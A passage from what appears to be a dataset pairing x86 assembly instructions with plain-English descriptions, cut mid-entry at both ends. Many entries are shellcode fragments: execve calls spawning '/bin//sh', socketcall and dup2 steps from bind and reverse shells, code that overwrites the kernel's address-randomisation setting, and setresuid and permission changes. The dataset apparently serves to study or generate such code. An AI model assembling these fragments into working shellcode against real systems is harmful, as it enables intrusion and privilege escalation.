0xb \n int 0x80 load __nr_execve into al register and ping kernel mov al, 0xb \n int 0x80 load execve syscall number into al register and ping kernel mov al, 0xb \n int 0x80 execute the file mov al, 0xb \n int 0x80 execute sys_execve(11) mov al, 0xb \n int 0x80 execute __nr_execve syscall mov al, 0xb \n int 0x80 execute execve syscall mov al, 0xb5 move 0xb5 into al mov al, 0xcd move 0xcd into al mov al, 0xcd \n mov ah, 0x80 load int 0x80 into eax register mov al, 0xf move the function chmod in al register mov al, 0xf load chmod syscall number into al register mov al, 0xf move 0xf into al mov al, 1 copy 1 in al mov al, 1 move syscalll exit in a reegister mov al, 1 move the number of the syscall exit in al register mov al, 1 move the value 1 into the al register mov al, 1 move 1 into al mov al, 10 transfer the value 10 to the al register mov al, 102 load the system call socketcall in al register mov al, 102 load syscall for socketcall() 102 into al register mov al, 102 make syscall for socketcall() mov al, 102 load socketcall syscall number into al register mov al, 102 load socketcall syscall into al register mov al, 102 move 102 into al mov al, 102 \n int 80h execyte socketcall syscall mov al, 11 insert execve code in al register mov al, 11 put syscall execve code in al register mov al, 11 load the execve syscall number into al register mov al, 11 load syscall execve number into al register mov al, 11 load the value 11 into al register mov al, 11 make execve() syscall or 11 mov al, 11 save into al register execve system call mov al, 11 put the syscall 11 into the al register mov al, 11 move the value 11 into the al register mov al, 11 \n int 0x80 call the execve syscall mov al, 11 \n int 0x80 execute __nr_execve syscall mov al, 11 \n int 0x80 execyte __nr_execve syscall mov al, 11 \n int 0x80 execute execv syscall mov al, 11 \n int 0x80 execute execve syscall mov al, 11 \n push edx \n push 0x68732f6e \n push 0x69622f2f \n mov ebx,esp \n push edx \n push ebx \n mov ecx,esp \n int 0x80 execute shell using execve syscall mov al, 12 move 12 into al mov al, 15 move 15 into lower byte of the eax register mov al, 16 move 16 into al mov al, 2 move 2 into al mov al, 2 \n int 80h execute fork syscall mov al, 20 move 20 into al mov al, 23 move 23 into al mov al, 37 move 37 into al mov al, 39 move 39 into al mov al, 4 move the number of the syscall write in al register mov al, 4 store 4 into al mov al, 4 move 4 into al mov al, 5 load the code of syscall open in al register mov al, 5 move 5 into al mov al, 5 \n dec al \n jnz l2 move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero mov al, 54 move 54 into al mov al, 6 move the number of the syscall close in al register mov al, 6 move 6 into al mov al, 6 \n int 80h execute close sycall mov al, 61 move 61 into al mov al, 63 load syscall for dup2() mov al, 63 load into al register the syscall for dup2 mov al, 63 move the dup2 syscall into al register mov al, 63 load dup2 syscall into al register mov al, 63 save 63 into al mov al, 63 \n int 0x80 move the code of syscall dup2 in al register and execute mov al, 66h move 66h into al mov al, 70 move 70 into al mov al, 72h move 72h into al mov al, 99 move 99 into al mov al, a_letter move data at memory location a_letter into al mov al, byte [digits+eax] move the effective address of digits+eax into al mov al, byte [edi] move the byte in edi into the al register mov al, byte [edx+ecx] move the effective address edx+ecx into al mov al, byte [esi] sabe shellcode lenght into al register mov al, byte [esi] move the byte at the address [esi] into al mov al, byte [esi] move the byte in esi into the al register mov al, byte [esi] move the byte in esi into al mov al, byte [esi] load the byte pointed by esi in al mov al, byte [esi+1+ebp] move the byte at the memory location specified by the operation [esi+1+ebp] into al mov al, byte [esi+1+ebp] put the byte at the address esi+1+ebp into al mov al, byte [esi+ecx] move a byte from the address esi+ecx into al mov al, byte 0bh move the byte 0bh into al mov al, byte 0bh move the byte at the address 0bh into al mov al, byte 0x1 move the byte at the address 0x1 into al mov al, byte 2ah move the byte 2ah into al mov al, byte 2ah move the byte at the address 2ah into al mov al, byte 2h move the byte 2h into al mov al, byte 2h move the byte at the address 2h into al mov al, byte 3fh move the byte 3fh into al mov al, byte 3fh move the byte at the address 3fh into al mov al, byte 3h move the byte 3h into al mov al, byte 3h move the byte at the address 3h into al mov al, byte 66h move the byte 66h into al mov al, byte 66h move the byte at the address 66h into al mov al, byte 6h move the byte 6h into al mov al, byte 6h move the byte at the address 6h into al mov al, byte[buff+ecx] move a byte from the address buff+ecx into al mov al, cl move cl into al mov al, cl backup cl into al mov al, close_syscall move close_syscall into al mov al, dl move dl into al mov al, dl move dl to al mov al, dl copy the contents of dl into al mov al, exit_call load exit in al register mov al, exit_call move exit_call into al mov al, write_syscall move write_syscall into al mov al,0x01 move 1 into lower byte of each mov al,0x04 load the sys call to write the file mov al,0x0b copy execve syscall number into al register mov al,0x1 put 1 in al register mov al,0x1 load exit in al register mov al,0x1 copy hexadecimal value 0x1 into al register mov al,0x1 copy the code of the syscall exit into al reegister mov al,0x1 \n add al,0xa put syscall execve code in al register mov al,0x3 copy the code of the syscall read into al register mov al,0x33 load the code 0x33 of the syscall acct in al register mov al,0x3f load __nr_dup2 into al register mov al,0x3f load syscall duo2 into al register mov al,0x4 put 4 in al regsiter mov al,0x4 copy the code of the syscall write into al register mov al,0x4 move the value 0x4 into al register mov al,0x4 load __nr_write into al register mov al,0x5 copy the code of syscall open to al register mov al,0x5 copy the value 5 into al register mov al,0x6 move syscall close in al register mov al,0x6 copy close syscall number into al register mov al,0x6 load __nr_close into al register mov al,0x66 move the command socketcall in al register mov al,0x66 copy socketcall syscall number into al register mov al,0x66 load __nr_socketcall into al register mov al,0x8 load __nr_creat syscall into al register mov al,0x8 \n mov cl,077o reate the file with 77 permission in octal mov al,0xa2 \n int 0x80 execute nanosleep mov al,0xa2 \n int 80h execute nanosleep syscall mov al,0xb load execve in al register mov al,0xb put syscall execve code in al register mov al,0xb load execve syscall number into al register mov al,0xb set syscall execve mov al,0xb load __nr_execve syscall into al regisetr mov al,0xb load execve syscall number into al regsiter mov al,0xb load __nr_execve on stack mov al,0xb load __nr_execve syscall into al register mov al,0xb \n int 0x80 execute execve syscall mov al,0xf load __nr_chmod into al register mov al,0xf load chmod syscall into al register mov al,1 \n int 80h execute execve syscall mov al,102 load __nr_socketcall syscall into al register mov al,11 load execve syscall into al register mov al,11 \n int 0x80 execute __nr_execve syscall mov al,11 \n int 0x80 execute execves yscall mov al,11 \n int 0x80 execute execve syscall mov al,2 load __nr_fork into al regsiter mov al,63 load dup2 syscall into al register mov al,63 \n int 80h load dup2 syscall into al register and call kernel mov al,byte 0x1 coy the byte 1 into al register mov al,byte ptr [edi] access memory at the adress edi and copy the byte into al register mov al,close_syscall move the value close_syscall to al register mov al,write_syscall move the value write_syscall to al register mov ax, [1000h] load the object at the address 1000h into the ax register mov ax, [di] copy thevalue at memory address specified by di into ax mov ax, [esi] move current word from encoded_shellcode to ax mov ax, [esi] move the contents at the address pointed by esi into the ax register mov ax, [esi] move the contents at the address stored in esi into the ax register mov ax, [esi] store the contents at the address pointed by esi into the ax register mov ax, [my_var] copy my_var contents in ax mov ax, 00 initialize ax to 00 mov ax, 010ch move value of 0x010ch into the register ax mov ax, 0x167 insert in ax register the syscall _nr_socket /socket syscall number mov ax, 0x167 load _nr_socket into ax regsiter mov ax, 0x167 move 0x167 into ax mov ax, 0x169 move bind syscall number in ax register mov ax, 0x169 move 0x169 into ax mov ax, 0x16a insert in ax register the value 0x16a/connect syscall number mov ax, 0x16a insert in ax register the connect syscall number mov ax, 0x16a move 0x16a into ax mov ax, 0x16b load listen syscall numebr into ax register mov ax, 0x16b move 0x16b into ax mov ax, 0x16c load accept syscall number into ax register mov ax, 0x16c move 0x16c into ax mov ax, 1 move value of 1 into register ax mov ax, 102 moves syscall for socketcall into ax mov ax, 102 move 102 into ax mov ax, 1666 move 1666 into ax mov ax, 45h transfer the immediate constant 45h to ax mov ax, 8h move 8h into ax mov ax, 9 get 9 in the ax mov ax, bx move bx into ax mov ax, bx move the contents of bx into ax mov ax, table[esi*4] move the memory offset table+esi*4 into ax mov ax, word [edi + 1 + ecx] mov the word at the address edi+1+ecx into ax mov ax,[esi] copy esi content into ax register mov bh, 0x12 move 0x12 into bh mov bh, 0xe2 move 0xe2 into bh mov bh, bl move the contents of bl into bh mov bh, byte [esi + edx + 2] save the byte in esi+edx+2 in bh mov bh,0xcc copy hexadecimal value from 0xcc to bh register mov bl, [esi] move the current byte of the shellcode to the bl mov bl, [esi+ecx] move the contents of memory address esi+ecx into bl mov bl, 0bh move 0bh into bl mov bl, 0x01 move the syscall sys_socket in bl register mov bl, 0x01 move 0x01 into bl mov bl, 0x02 move the syscall bind in bl register mov bl, 0x02 move 0x02 into bl mov bl, 0x03 move the syscall sys_connect in bl register mov bl, 0x04 move the syscall sys_listen in bl register mov bl, 0x04 move 0x04 into bl mov bl, 0x05 move the syscall sys_accept in bl register mov bl, 0x1 put the 1 in bl register mov bl, 0x1 move the syscall sys_socket in bl register mov bl, 0x1 load 0x1 ino bl register mov bl, 0x1 load hexadecimal vlaue 0x1 into bl register mov bl, 0x1 move 1 into bl register mov bl, 0x1 save socket =1 into bl register mov bl, 0x1 move 0x1 to bl register mov bl, 0x1 setting the socketcall type to sys_socket mov bl, 0x1 move the value 0x1 into the bl register mov bl, 0x1 move 0x1 into bl mov bl, 0x1 \n mov al, 0x4 \n int 0x80 load 1 into bl register and write syscall number into al register, then call kernel mov bl, 0x14 moves the sys_setsocketopt as param 1 mov bl, 0x14 move 0x14 into bl mov bl, 0x2 put 2 in bl register mov bl, 0x2 load in bl register the argument sys_bind = 2 mov bl, 0x2 copy the value sys_bind =2 on stack mov bl, 0x2 set bind =2 mov bl, 0x2 set the socketcall type to sys_bind mov bl, 0x2 move 0x2 into bl mov bl, 0x2 move the value 0x2 into the bl register mov bl, 0x3 copy 3 in bl register mov bl, 0x3 push 0x3 into bl register mov bl, 0x3 move 0x3 into bl mov bl, 0x4 put 4 in bl register mov bl, 0x4 move 0x4 hexadecimal value into bl register mov bl, 0x4 copy the value of sys_listen=4 into bl register mov bl, 0x4 set listen = 4 mov bl, 0x4 set the socketcall type to sys_listen mov bl, 0x4 move the value 0x4 onto the stack mov bl, 0x4 move 0x4 into bl mov bl, 0x5 put 5 in bl register mov bl, 0x5 load the value of sys_accept=5 on stack mov bl, 0x5 copy 0x5 into bl register mov bl, 0x5 accept =5 mov bl, 0x5 set the socketcall type to sys_accept mov bl, 0x5 move 0x5 into bl mov bl, 0x5 move the value 0x5 into the bl register mov bl, 0x7 move 0x7 to bl mov bl, 0x7 move 0x7 into bl mov bl, 0x8 move the exadecimal value 0x8 into bl register mov bl, 0x8 move 0x8 into bl mov bl, 0x9 transfer the hexadecimal value 0x9 into bl register mov bl, 0x9 move 0x9 into bl mov bl, 0xe save the value of sys_setcockopt = 14 into bl register mov bl, 0xe move 0xe into bl mov bl, 0xff store 0xff into bl register mov bl, 0xff move 0xff into bl mov bl, 0xff move the value 0xff into bl mov bl, 0xff \n mov bh, 0xe2 load Ôjmp edxÕ command into ebx register mov bl, 1 load socket = 1 into bl register mov bl, 1 move 1 into bl mov bl, 10 store 10 into bl register mov bl, 10 move 10 into bl mov bl, 2 save the byte 2 into al register mov bl, 2 move 2 into bl mov bl, 3 connect mov bl, 3 move 3 into bl mov bl, 3 \n dec bl \n jnz l3 move the value 3 into the bl register then decrement the contents of the bl register and jump to the l3 label if the result is not zero mov bl, 4 mov (4 = sys_listen = listen()) into bl mov bl, 4 copy 4 into bl register mov bl, 4 load listen = 4 into bl register mov bl, 4 move 4 into bl mov bl, 5 load 5 into bl register mov bl, 5 load accept = 5 into bl register mov bl, 5 store 5 into bl mov bl, al \n sub bl, 2 \n jnz loop move the contents of the al register into the contents of the bl register then subtract the value 2 from the cl register and jump to the loop label if the result is not zero mov bl, byte [digits+ebx] move the byte at address digits+ebx into bl mov bl, byte [eax] move the byte at the address [eax] into bl mov bl, byte [eax] move the byte in eax to bl mov bl, byte [eax] move the byte in eax into bl mov bl, byte [edi + ecx] move the byte at the address edi+ecx into bl mov bl, byte [edi] move the byte in edi into bl mov bl, byte [edi] move the byte at the address [edi] into bl mov bl, byte [edi] get the byte from edi and save it in bl mov bl, byte [esi + eax + 1] copy the byte in memory at the address [esi + eax + 1] in bl register mov bl, byte [esi + eax + 1] move the byte starting at the address [esi + eax + 1] into the bl register mov bl, byte [esi + eax + 1] move the byte at the address esi + eax +1 into bl mov bl, byte [esi + eax + 1] \n mov byte [edi], bl put the byte in the address esi+eax+1 to the first character pointed by edi. mov bl, byte [esi + eax] copy the byte in memory at the address [esi+eax] in bl register mov bl, byte [esi + eax] move the byte at the address esi + eax into bl mov bl, byte [esi + edi] move the byte at the address esi+edi into bl mov bl, byte [esi + edx + 1] save the byte in esi+edx+1 in bl mov bl, byte [esi] move the byte in esi into bl mov bl, byte [esi] move the byte at the address [esi] into bl mov bl, byte [esi] get the byte from esi and save it in bl mov bl, byte [esi+eax*1] move the byte at the address esi+eax*1 into bl mov bl, byte [esi+eax*1+0x1] \n mov byte [edi], bl move the byte at the address esi+eax*1+0x1 into bl and move bl into the byte in edi mov bl, byte [esi+ecx+1] copy the byte in memory at the address esi+ecx+1 into bl register mov bl, byte [esi+ecx+1] move the byte at the address [esi+ecx+1] into bl mov bl, byte [esi+ecx+1] move the byte in esi+ecx+1 into bl mov bl, byte [esi+ecx+1] \n sub bl, 0x7 move the byte at the address in [esi+ecx+1] in bl and subtract 0x7 from bl mov bl, byte 0eh move the byte 0eh into bl mov bl, byte 0eh move the byte at the address 0eh into bl mov bl, byte[edi] copy the byte contained into edi register in bl register mov bl, byte[esi] transfer the byte in the address esi to bl regsiter mov bl, cl backup the contents of cl into bl mov bl, cl move cl into bl mov bl, dl move dl into bl mov bl,0x1 copy the value 1 into bl register mov bl,0x1 move the value 0x1 content into bl register mov bl,0x2 copy 0x2 into bl register mov bl,0x3 load 0x3 into bl register mov bl,0x4 copy 0x4 into bl register mov bl,1 load 1 into al register mov bl,1 save socket command, 1, into bl register mov bl,byte ptr [esi+eax*1] copy the byte at the adress esi+eax*1 into bl register mov bl,byte ptr [esi+eax*1+0x1] \n mov byte ptr [edi],bl copy the byte at the adress esi+eax*1+0x1 into the byte at the adress edi mov bl,dl copy the dl content into bl register mov bx, [esi] copy esi content into bx register mov bx, [esi] move the contents of the address stored in esi into the bx register mov bx, [esi] move the contents of the esi register into the bx register mov bx, 1666 move 1666 into bx mov bx, 18 get 18 in the bx register mov bx, 20 move the value 20 into bx mov bx, word_value move memory word_value to register bx mov byte [eax], dl move dl into the byte in eax mov byte [eax], dl move dl to the byte pointed by the contents of eax mov byte [eax], dl move dl into the byte at address [eax] mov byte [ebx + 35], al move al into the byte at address [ebx + 35] mov byte [ebx + 35],al copy al content into memory space at the adress ebx+35 mov byte [ebx + 35],al save al content into the space memory at the address ebx+35 mov byte [ebx], 2 move 2 into the single byte at the address stored in ebx mov byte [ecx], 2 move 2 into the single byte at memory location ecx mov byte [ecx+92], dl move dl into the byte at address [ecx+92] mov byte [ecx+92], dl move dl into the single byte at the address stored in ecx+92 mov byte [ecx+92],dl replace r char with 0x0a mov byte [edi], bl copy the byte contained in bl register to the memory adress edi mov byte [edi], bl move the the contents of the bl register into the byte starting at the address in edi mov byte [edi], bl put the value of bl to the position of edi mov byte [edi], bl move bl into the byte in edi mov byte [edi], bl \n not byte [edi] move bl into the byte in edi and negate the result mov byte [edi], bl \n xor byte [edi], 0xdd move bl into the byte in edi and perform xor operation with 0xdd mov byte [edx + eax], bl move bl into the byte at address [edx + eax] mov byte [edx + eax], bl move bl into the byte at the address edx + eax mov byte [edx + eax], bl move bl into the byte in edx + eax mov byte [edx+eax], bl move bl into byte edx+eax mov byte [edx+ecx],al move al into the single byte at the address stored in edx+ecx mov byte [esi + 1], dl move the contents of dl into the byte at the memory location specified by the operation [esi+1] mov byte [esi + 1], dl move dl into the byte in esi+1 mov byte [esi + 1], dl move dl into the byte at address [esi + 1] mov byte [esi + eax], bl move bl into the byte defined by the address esi + eax mov byte [esi], al move al into the byte in esi mov byte [esi], bl transfer decode value from bl to esi register mov byte [esi], bl move bl into the byte at address [esi] mov byte [esi], dl move dl into the byte in esi mov byte [esi+10], al move al into the byte at address [esi+10] mov byte [esi+11], al move al into the byte at address [esi+11] mov byte [esi+12], al move al into the byte at address [esi+12] mov byte [esi+14], al move al into the byte at address [esi+14] mov byte [esi+14],al move the contents of al into the byte at the memory location specified by the operation [esi+14] mov byte [esi+17], al move al into the byte at address [esi+17] mov byte [esi+17],al move the contents of al into the byte at the memory location specified by the operation [esi+17] mov byte [esi+21], al move al into the byte at address [esi+21] mov byte [esi+7], al terminate string, str[7] = null mov byte [esi+7], al move al into the byte at address [esi+7] mov byte [esi+ecx], bl copy bl content into the byte at the adress esi+ecx mov byte [esi+ecx], bl move bl into the byte at address [esi+ecx] mov byte [esi+ecx], bl move bl into the single byte at the address stored in esi+ecx mov byte [esi+ecx], bl move bl into the byte in esi+ecx mov byte [esp + eax + 1], cl move cl into the byte in esp+eax+1 mov byte [esp + eax + 2], bh move bh into the byte in esp+eax+2 mov byte [esp + eax + 3], bl move bl into the byte in esp+eax+3 mov byte [esp + eax], ch move ch into the byte in esp+eax mov byte [esp], 0x0a move 0x0a into the byte at address [esp] mov byte [esp], 0x2e move 0x2e into the byte at address [esp] mov byte [esp], 0x2e move 0x2e into the byte in esp mov byte [esp], 0x2f move 0x2f into the byte at address [esp] mov byte [esp], 0x2f move 0x2f into the byte in esp mov byte [esp], 0x7f move 0x7f into the byte at address [esp] mov byte [esp], 0x7f \n mov byte [esp+3],0x01 move ip address 127.0.0.1 into esp register mov byte [esp+2], 0x07 move 0x07 into the byte at address [esp+2] mov byte [esp+3], 0x01 move 0x01 into the byte at address [esp+3] mov byte [esp+3], 0x11 move 0x11 into the byte at address [esp+3] mov byte [hexstr+edx+1],bl move a byte from bl into memory address hexstr+edx+1 mov byte [hexstr+edx+2],al move a byte from al into memory address hexstr+edx+2 mov byte [var], 5 store the value 5 into the byte at memory location var mov byte al, 0x0b load __nr_ execve = 0x0b into al register as a byte mov byte al, 0x0b move 0x0b into the byte at address al mov byte al, 0x3f move 0x3f into the byte at address al mov byte al, 0x3f move 0x3f into the byte in al mov byte al, 0xa4 setresuid syscall 164 (0xa4) mov byte al, 0xa4 move 0xa4 into the byte at address al mov byte al, 0xa4 move 0xa4 into the byte in al mov byte al, 11 move 11 into the byte at address al mov byte al, 83 move 83 into the byte at address al mov byte cl, 7 set counter to 7 and save it in cl register mov byte cl, 7 move 7 into the byte at address cl mov byte ptr [esi+0xb],bl copy the byte in bl register to the spae in memory at the address esi+0xb mov byte[edx + eax], bl copy bl contents in the byte at the address edx+eax mov ch, 0x4 copy the value 0x4 into ecx mov ch, 0x4 move 0x4 into ch mov ch, byte [esi + edx + 4] save the byte in esi+edx+4 in ch mov ch,0x4 copy the hexadecimal value 0x4 in ch register mov ch,0x5 move hexadecimal value 0x5 to ch register mov cl, 0102 move 0102 into cl mov cl, 077o move 077o into cl mov cl, 0x1 load 1 into cl regisetr mov cl, 0x1 set cl to the fd of stdout = 1 mov cl, 0x1 move 0x1 into cl mov cl, 0x1e move 0x1e into cl mov cl, 0x2 move 2 in cl regsiter mov cl, 0x2 creat a countre moving the value 2 into cl register mov cl, 0x2 push 2 into cl register mov cl, 0x2 copy 0x2 into cl register mov cl, 0x2 initiate the loop-counter to 2 mov cl, 0x2 load the value 0x2 into cl register mov cl, 0x2 set cl to the stderr fd = 2 mov cl, 0x2 move 0x2 into cl mov cl, 0x2 move the value 0x2 into the cl register mov cl, 0x3 copy 3 into cl register mov cl, 0x3 move 0x3 into cl mov cl, 10 move 10 into the first byte of the counter mov cl, 10 \n dec cl \n jnz l1 move the value 10 into the cl register then decrement the contents of the cl register and jump to the l1 label if the result is not zero mov cl, 100 move 100 into cl mov cl, 128 move 128 into cl mov cl, 13 load the value 13 on cl register mov cl, 13 move 13 to cl mov cl, 13 move 13 into cl mov cl, 2 copy 2 into cl register mov cl, 2 inizialize counter ecx=2 mov cl, 2 move 2 into cl mov cl, 21 copy 21 into cl register mov cl, 21 move 21 into cl mov cl, 25 transfer the decimal value 25 in cl register mov cl, 3 counter to loop 3 times mov cl, 3 move 3 into cl mov cl, 30 move 30 into cl mov cl, 30 move 30 to the cl register mov cl, 32 move 32 into cl mov cl, 4 transfer 4 into cl mov cl, 4 move 4 value into cl register that represents the counter mov cl, 4 loop 4 times mov cl, 9 move 9 into cl mov cl, al move al into cl mov cl, al put the contents of the al into the cl register mov cl, al backup al into cl mov cl, bl \n sub cl, 1 \n jnz loop move the contents of the bl register into the contents of the cl register then subtract the value 1 from the cl register and jump to the loop label if the result is not zero mov cl, byte [eax] move the byte in eax into cl mov cl, byte [eax] move the byte in eax to cl mov cl, byte [eax] move the byte at the address [eax] into cl mov cl, byte [esi + edx + 3] save the byte in esi+edx+3 in cl mov cl, byte [esi] move the byte at the address [esi] into cl mov cl, byte [esi] move the byte in esi into cl mov cl, byte_table[2] move the 3rd element of the array byte_table into cl mov cl, byte_table+2 move the 3rd element of the byte_table into cl mov cl, dl move dl into cl mov cl, len initialize counter cl to shellcode lenght mov cl, len move len into cl mov cl, shellcode_length save shellcode_lenght = 25 into cl register mov cl, shellcode_length move shellcode_length into cl mov cl, shellcodelen set the loop counter to shellcodelen into cl register mov cl, shellcodelen move shellcodelen into cl mov cl,0x19 copy hexadecimal value 0x19 to cl register mov cl,0x19 copy hexadeciaml value 0x19 into cl register mov cl,0x2 move the value 2 into cl register mov cl,0x2 load hexadecimal value 0x2 into cl register mov cl,0x3 move the value 0x3 in cl register mov count, bx move bx to count mov cx, [esi] move the contents of the esi register into the cx register mov cx, 01 initialize cx to 01 mov cx, 02001 move 02001 into cx mov cx, 0666 move 0666 into cx mov cx, 0700 move 0700 into cx mov cx, 0x191 move 0x191 into cx mov cx, 0x1ff store hexadecimal value of Ô777Õ in cx mov cx, 0x1ff load hexadecimal value 0x1ff into cx register mov cx, 0x1ff move 0x1ff into cx mov cx, 0x2bc move 0x2bc into cx mov cx, 0x301 move the value 0x301 into the cx register mov cx, 0x3b30 mov the value 0x3b30 into the cx register mov cx, 0x401 move 0x401 into cx mov cx, 0x5309 move 0x5309 into cx mov cx, 0x9ed copy the value 4755 into cx register mov cx, 0x9ed move 0x9ed into cx mov cx, 0xfff move 0xfff into cx mov cx, 2001 move 2001 into cx mov cx, 2001q set flag o_wronly and o_append mov cx, 2001Q move 2001Q into cx mov cx, word_table + 3 move the 4th element of the word_table into cx mov cx, word_table[3] move the 4th element of the array word_table into cx mov cx,[esi] copy esi content into cx register mov cx,0x2bc move the hexadecimal value 0x2bc (700) to cx register mov cx,0x2bc load hexadecimal value 0x2bc into cx register mov cx,0x301 put 769 in cx mov cx,0x3b30 \n push cx put 15152 into cx regsiter, then push it on the stack mov cx,0x401 transfer hexadecimal value 0x401 into cx register mov dh, 0x35 copy the hexadecimal value 0x35 in dh register mov dh, 0x35 move 0x35 into dh mov dh, 0xff move 0xff into dh mov dh,0x4a copy hexadecimal value 0x4a into dh register mov dl, [esi-1] move the address of esi-1 into dl mov dl, [esi-1] move the previous byte of the shellcode to dl mov dl, [esi+1] move the contents of dl into the next byte of the shellcode mov dl, 0ffh copy hexadecimal value 0xff in dl register mov dl, 0x01 move 0x01 into dl mov dl, 0x02 move 0x02 into dl mov dl, 0x09 move 0x09 into dl mov dl, 0x1 move 0x1 into dl mov dl, 0x10 load 0x10 into dl register mov dl, 0x10 copy 0x10 into dl register mov dl, 0x10 load 0x10 into cl register mov dl, 0x10 move 0x10 into dl mov dl, 0x14 move 0x14 into dl mov dl, 0x16 move value 0x16 to dl register mov dl, 0x1c transfer the hexadecimal value 0x1c (28) into dl register mov dl, 0x1c move 0x1c into dl mov dl, 0x2 move 0x2 into dl mov dl, 0x20 move 0x20 into dl mov dl, 0x45 move 0x45 to dl mov dl, 0x7f move 0x7f into dl mov dl, 0x7f \n push edx lad ip address 127.0.0.1 (hex) as a byte into edx register then push it onto the stack mov dl, 0xc move 0xc into dl mov dl, 0xd set dl equal to 13 mov dl, 0xd move 0xd into dl mov dl, 0xff move 0xff into dl mov dl, 0xff move 0xff to dl mov dl, 1+0feh copy hexadecimal value 1+0xfe in dl register mov dl, 1+0feh move 1+0feh into dl mov dl, 93 move 93 into dl mov dl, byte [eax + 1] move the byte at the memory location specified by the operation [eax+1] into dl mov dl, byte [eax + 1] move the byte at address eax+1 to dl mov dl, byte [eax + 1] move the byte at the address [eax + 1] into dl mov dl, byte [eax] move the byte at address eax to dl mov dl, byte [eax] move the byte at the address [eax] into dl mov dl, byte [eax] move the byte in eax into dl mov dl, byte [esi + 1] move the singl byte at the memory location specified by the operation [esi+1] into dl mov dl, byte [esi + 1] move the contents of the address esi+1 into dl mov dl, byte [esi + 1] move the byte at the address [esi + 1] into dl mov dl, byte [esi + edi + 1] move the byte at the address esi+edi+1 into dl mov dl, byte [esi] move the single byte in esi into dl mov dl, byte [esi] put the byte in esi into dl mov dl, byte 0ffh move the byte 0ffh into dl mov dl, byte 0ffh move the byte at the address 0ffh into dl mov dl, len put lenght of encodedshellcode to dl mov dl, len move the contents stored at the address len into the dl register mov dl,0x09 move the value $0x09 into dl mov dl,0x1 load the value 1 into dl register mov dl,0xff align page address mov dl,93 save in dl register the len of the buffer to write, 4th arg mov ds:0x9501bb9b,eax save at location ds:0x9501bb9b eax content mov dword [eax], var1 copy the value in var1 into the doubleword starting at the address in eax mov dword [ebx], 2 move the 32-bit integer representation of 2 into the doubleword starting at the address in ebx mov dword [ebx], 4 move the 32-bit integer representation of 4 into the doubleword starting at address ebx mov dword [esi + 12], eax replace last double word with null mov dword [esi + 12], eax move eax into the dword at address [esi + 12] mov dword [esi + 8], ebx replace first double word with string mov dword [esi + 8], ebx move ebx into the dword at address [esi + 8] mov dword [esp-0x10], 0x5f657a69 move the value 0x5f657a69 into the double word starting at the address [esp-0x10] mov dword [esp-0x14], 0x6d6f646e move the value 0x6d6f646e into the double word starting at the address [esp-0x14] mov dword [esp-0x18], 0x61722f6c move the value 0x61722f6c into the double word starting at the address [esp-0x18] mov dword [esp-0x1c], 0x656e7265 move the value 0x656e7265 into the double word starting at the address [esp-0x1c] mov dword [esp-0x20], 0x6b2f7379 move the value 0x6b2f7379 into the double word starting at the address [esp-0x20] mov dword [esp-0x24], 0x732f636f move the value 0x732f636f into the double word starting at the address [esp-0x24] mov dword [esp-0x28], 0x72702f2f move the value 0x72702f2f into the double word starting at the address [esp-0x28] mov dword [esp-0x4], eax move the contents of the eax into the double word starting at the address [esp-0x4] mov dword [esp-0x4],eax \n mov dword [esp-0x8],0x65636170 \n mov dword [esp-0xc],0x735f6176 \n mov dword [esp-0x10],0x5f657a69 \n mov dword [esp-0x14],0x6d6f646e \n mov dword [esp-0x18],0x61722f6c \n mov dword [esp-0x1c],0x656e7265 \n mov dword [esp-0x20],0x6b2f7379 \n mov dword [esp-0x24],0x732f636f \n mov dword [esp-0x28],0x72702f2f \n sub esp,0x28 \n mov ebx,esp push the string //proc/sys/kernel/randomize_va_space and the eax context on the stack and then load the stack pointer into ebx register mov dword [esp-0x8], 0x65636170 move the value 0x65636170 into the double word starting at the address [esp-0x8] mov dword [esp-0xc], 0x735f6176 move the value 0x735f6176 into the double word starting at the address [esp-0xc] mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at address [esp-12] mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at the memory location [esp-12] mov dword [esp-4], ecx copy ecx content as a double word into memory space at the address esp-4 mov dword [esp-4], ecx move ecx into the doubleword starting at the address esp-4 mov dword [esp-4], esi copy esi content as a double word into memory sapce at the address esp-4 mov dword [esp-4], esi move esi into the dword at address [esp-4] mov dword [esp-4], esi move the contents of the esi register into the dword at the memory location [esp-4] mov dword [esp-4], esi move esi into the doubleword starting at the address esp-4 mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at address [esp-8] mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at the memory location [esp-8] mov dword [esp-8], edi copy edi content as a double word into memory space at the address esp-8 mov dword [esp-8], edi move edi into the doubleword starting at the address esp-8 mov dword ptr [edx-0x55af551d],ebp \n mov dword ptr [edx-0x55ac551e],ebp \n mov dword ptr [edx-0x554f551f],ebp copy ebp content into double word at the addresses edx-0x55af551d, edx-0x55ac551e, edx-0x554f551f mov dword ptr [esi+0x10],ebx copy the double word in ebx register into the memory space at the address esi+0x10 mov dword ptr [esi+0xc],esi copy the double word in esi register into the space memory at the address esi+0xc mov dword ptr [esp-0x4],edi copy edi content into the memory space at the address esp-0x4 mov dword ptr [esp-0x8],edi copy edi content into the memory space at the address esp-0x8 mov dx, 0x1a4 set read-write permission for the owner of the file, and read permission for everyone else mov dx, 0x1a4 move 0x1a4 into dx mov dx, 0x2a1 move the value 0x2a1 into the dx register mov dx, 0xb01 move 0xb01 into dx mov dx, 0xfff \n inc dx load hecadecimal value 0xfff into dx register then increment dx content by 1 mov dx, 1222 move 1222 into dx mov dx, 132 move the deciaml value 132 in dx register mov dx, 132 move 132 into dx mov dx, 16666 move 16666 into dx mov dx,0x2a1 put 673 in dx mov dx,0x3a30 load Ô:0Õ into dx register mov dx,0xb01 move the hexadecimal value 0xb01 to dx register mov eax, _start set a valid .text address, Ô_startÕ into eax mov eax, _start move _start into eax mov eax, [ebp+8] move value of memory address [ebp+8] into eax mov eax, [ebx] move the 4 bytes in memory at the address contained in ebx into eax mov eax, [ebx+8] copy the 4 byte at memory location specified by the the result of the operation ebx+8 into eax register mov eax, [ebx+epi*4+2] move the contents of memory address ebx+epi*4+2 into eax mov eax, [ebx+esi] move the contents of memory address ebx+esi into eax mov eax, [ebx+esi*2+4] move the contents of memory address ebx+esi*2+4 into eax mov eax, [esi-4] move 4 bytes at memory address esi-4 into eax mov eax, [esp] move the contents of memory address esp into eax mov eax, [esp+4] move the value of register at address esp+4 and store into eax mov eax, [temp] move the contents at memory specified by temp into eax mov eax, [temp1] move the contents at memory address temp1 to eax mov eax, [x] move the contents at memory specified by x to eax mov eax, [y] move the contents at memory address y to eax mov eax, 